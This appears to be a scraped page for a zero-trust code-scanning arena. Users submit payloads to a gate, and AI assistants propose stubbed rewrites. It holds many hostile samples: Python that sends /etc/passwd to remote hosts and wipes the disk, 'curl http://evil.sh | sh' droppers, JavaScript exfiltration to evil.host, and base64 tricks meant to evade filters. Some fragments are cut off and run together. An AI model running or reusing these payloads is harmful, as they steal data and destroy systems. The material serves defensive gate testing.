curl http://evil.sh | sudo bash rm -rf /var
MATRIX ARENA
AI ORCHESTRATION & ZERO-TRUST CONTROL CENTER
Test adversarial code, inspect deterministic policy findings, review proposed repairs, require human approval, and record the complete containment workflow before execution.
STANDING BY
Run a payload through the gate to render a verdict.| LANGUAGE | 7-LAYER GATE | CONTAINED RUNNER |
|---|---|---|
| PYTHON | SCAN | EXECUTE |
| JAVASCRIPT | SCAN | SCAN ONLY |
| BASH | SCAN | EXECUTE |
| GO | SCAN | SCAN ONLY |
Run a scan — the threat vector x, weights w, and the escalation decision render here.
Run a scan — your right-hand assistant will recommend the next move and explain why.
Run the exact deny-by-default zero-trust gate on your own machine — no network, stdlib-only. It returns APPROVE / LOCAL-FIX / ESCALATE with the same credit-gate math.
curl -fsSL https://matrixarrayarena.com/api/sentinel/install.sh | bashmatrix-sentinel path/to/file.pyAsk the Matrix Assistant about your verdict, violations, or how to harden code past the gate — by text or voice.
Ask Claude anything — secure-code review, threat analysis, or how to harden a payload past the gate.
Add DEVIN_API_KEY (and DEVIN_ORG_ID for a cog_ key) to the backend environment to dispatch coding tasks that run on Devin's own cloud VM.
No execution requests yet. When Devin (or any MCP client) calls execute_code, gate-cleared runs land here for your approval before they execute.
BEAT THE GATE
Three specialized AIs build the fix — the deterministic gate decides if it lives. Try to smuggle malicious code past it. Every attempt goes on the record.

import os
os.system("rm -rf /")
eval("x")import os
os.system('rm -rf /tmp/wall_dedupe_xxxxx')
open('/etc/passwd').read()
import os, requests
data = open('/etc/passwd').read()
requests.post('http://10.0.0.5/x', data=data)
os.system('rm -rf /')
import os, requests
open('/etc/passwd').read()
os.system('rm -rf /')
import os, socket, requests
secret = open('/etc/passwd').read()
requests.post('http://10.0.0.5/collect', data=secret)
os.system('rm -rf /')
import os, requests
data = open('/etc/passwd').read()
requests.post('http://10.0.0.5/x', data=data)
os.system('rm -rf /')
import os
import subprocess
# 1. Simulate credential searching (Harmless check)
env_keys = list(os.environ.keys())
print(f"DEBUG: Found {len(env_keys)} environment variables.")
# 2. Simulate trying to read a forbidden file (Will likely fail or be empty)
try:
with open('/etc/hostname', 'r') as f:
print("DEBUG: Hostname read successfully.")
except Exception:
pass
# 3. Simulate command execution (Runs a harmless 'whoami' check)
result = subprocess.run(['whoami'], capture_output=True, text=True)
print(f"DEBUG: Active user is {result.stdout.strip()}")
import os, requests
data = open('/etc/passwd').read()
requests.post('http://10.0.0.5/x', data=data)
os.system('rm -rf /')
import base64
import importlib
# 1. Hide the word 'subprocess' and 'whoami' using base64
encoded_module = b'c3VicHJvY2Vzcw==' # 'subprocess'
encoded_command = b'd2hvYW1p' # 'whoami'
# 2. Dynamically import the module so 'import subprocess' isn't in plaintext
sp = importlib.import_module(base64.b64decode(encoded_module).decode())
# 3. Safely execute the hidden command
decoded_cmd = base64.b64decode(encoded_command).decode()
result = getattr(sp, 'run')([decoded_cmd], capture_output=True, text=True)
print(f"DEBUG: Active user is {result.stdout.strip()}")
const cp = require('child_process');
cp.exec('whoami', (e, o) => fetch('http://evil.host/?d=' + o));
eval(atob('YWxlcnQoMSk='));
// Local stub replacing 'child_process' to prevent system process spawning
const cp = {
exec: (command, callback) => {
console.log(`[SAFE STUB] Blocked execution of command: ${command}`);
// Simulate expected output for 'whoami'
callback(null, 'stubbed_user\n');
}
};
// Local stub replacing 'fetch' to prevent network egress
const mockFetch = (url) => {
console.log(`[SAFE STUB] Blocked network request to: ${url}`);
};
// Execute original logic using safe stubs
cp.exec('whoami', (e, o) => mockFetch('http://evil.host/?d=' + o));
// Deobfuscated and neutralized eval(atob(...)) payload ('YWxlcnQoMSk=' -> 'alert(1)')
console.log("[SAFE STUB] Executed decoded payload: alert(1)// Local stub replacing 'child_process' to prevent system process spawning
const cp = {
exec: (command, callback) => {
console.log(`[SAFE STUB] Blocked execution of command: ${command}`);
// Simulate expected output for 'whoami'
callback(null, 'stubbed_user\n');
}
};
// Local stub replacing 'fetch' to prevent network egress
const mockFetch = (url) => {
console.log(`[SAFE STUB] Blocked network request to: ${url}`);
};
// Execute original logic using safe stubs
cp.exec('whoami', (e, o) => mockFetch('http://evil.host/?d=' + o));
// Deobfuscated and neutralized eval(atob(...)) payload ('YWxlcnQoMSk=' -> 'alert(1)')
console.log("[SAFE STUB] Executed decoded payload: alert(1)AWS_KEY = '«REDACTED»' «REDACTED» «REDACTED»
package main
import "os/exec"
func main() {
exec.Command("sh", "-c", "curl http://evil.sh | sh").Run()
os.RemoveAll("/data")
}
import os, requests
# Read the machine's account database
secret = open('/etc/passwd').read()
# Exfiltrate it to an attacker-controlled server
requests.post('http://198.51.100.9/collect', data={'dump': secret})
# Destroy the host to cover the tracks
os.system('rm -rf / --no-preserve-root')
payload = input()
eval(compile(payload, '<x>', 'exec'))
__import__('subprocess').Popen(['sh', '-c', 'curl http://evil.sh'])
«REDACTED»
eval("x")AWS_KEY = '«REDACTED»' «REDACTED»
const cp = require('child_process');
eval('x');
import base64
exec(base64.b64decode('aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2xzJyk='))
package main
import "os/exec"
func main() { exec.Command("sh", "-c", "x").Run() }
AWS_KEY = "«REDACTED»"
eval("1+1")
# Hardened rewrite: all forbidden capabilities replaced with safe local stubs
def _stub_read_credential_store(path: str) -> str:
"""Safe stub: simulates reading a credential store without filesystem access."""
# Returns a placeholder instead of reading sensitive system files
return f"[REDACTED: access to '{path}' is not permitted]"
def _stub_post_data(url: str, data: str) -> dict:
"""Safe stub: simulates an HTTP POST without network egress."""
# No actual network connection is made
return {
"status": "stubbed",
"url": url,
"data_length": len(data),
"message": "Network egress is disabled; no data was transmitted.",
}
def _stub_sysdef _stub_read_credential_store(path: str) -> str:
"""Safe stub: simulates reading a credential store without filesystem access."""
# Returns a placeholder instead of reading sensitive system files
return f"[REDACTED: access to '{path}' is not permitted]"
def _stub_post_data(url: str, data: str) -> dict:
"""Safe stub: simulates an HTTP POST without network egress."""
# No actual network connection is made
return {
"status": "stubbed",
"url": url,
"data_length": len(data),
"message": "Network egress is disabled; no data was transmitted.",
}
def _stub_system_command(cmd: str) -> int:
"""Safe stub: simulates a shell command witho# Stub for reading configuration or local data (replacing /etc/passwd access)
data = "mock_configuration_data"
# Stub for network data transmission (replacing requests.post)
print("STUB: Simulated POST request to local logging endpoint with data")
# Stub for system operations (replacing os.system cleanup)
print("STUB: Simulated safe local maintenance operation")
# Stub for user identification command (replacing obfuscated importlib and subprocess)
mock_active_user = "local_test_user"
print(f"DEBUG: Active user is {mock_active_user}")